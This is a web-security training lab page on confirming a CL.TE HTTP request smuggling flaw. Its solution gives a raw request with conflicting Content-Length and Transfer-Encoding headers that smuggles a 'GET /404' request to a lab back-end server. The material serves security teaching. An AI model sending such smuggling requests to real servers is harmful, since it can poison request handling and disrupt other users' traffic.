Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

PRACTITIONER

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Access the lab

Solution

Using Burp Repeater, issue the following request twice:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

The second request should receive an HTTP 404 response.

Community solutions

Michael Sommer

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